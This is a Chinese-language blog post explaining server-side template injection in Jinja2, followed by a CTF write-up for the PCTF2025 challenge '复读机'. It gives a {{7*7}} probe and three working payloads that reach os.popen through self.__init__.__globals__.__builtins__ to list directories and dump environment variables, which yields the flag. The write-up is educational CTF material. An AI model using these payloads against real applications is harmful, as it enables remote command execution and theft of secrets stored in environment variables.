SSTI
本文最后更新于29 天前,其中的信息可能已经过时,如有错误请发送邮件到2206143407@qq.com

SSTI

一:前言

SSTI注入又可称为模板注入(关于模板可以看看这个SSTI 注入 – Hello CTF

当应用程序将用户输入直接拼接进模板中,并作为代码执行时,攻击者可能通过注入恶意模板指令来读取敏感数据、执行系统命令或控制服务器。

例如:在模板引擎(如Jinja2、Twig)中,若未对用户输入充分过滤,攻击者可能通过输入 {{ 7 * 7 }}测试执行,进而利用内置函数或类实现远程代码执行。

二:例题

PCTF2025:复读机

首先我们要确认这是哪种漏洞

尝试输入模板语法 {{7*7}}。页面返回了 49,说明存在ssti

1.通过执行以下 Payload 确认后端环境为 Python 3.13.7 (Jinja2 模板引擎):

{{ self.__init__.__globals__.__builtins__['__import__']('os').popen('ls /').read() }}

该命令列出了根目录下的系统文件,确认我们可以执行任意系统命令 (RCE)。

2.进一步查看当前 Web 应用目录结构:

{{ self.__init__.__globals__.__builtins__['__import__']('os').popen('ls -R .').read() }}

输出显示仅有 app.pytemplates/index.html,未在当前目录下发现名为 flag 的文件。

3.在容器化的 CTF 题目中,Flag 经常被存放在环境变量中。使用 env 命令查看系统环境变量:

{{ self.__init__.__globals__.__builtins__['__import__']('os').popen('env').read() }}

1769267095270.png

flag:PCTF{c6e807e1-14d9-4de5-adfa-5cdc7288fe93}

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇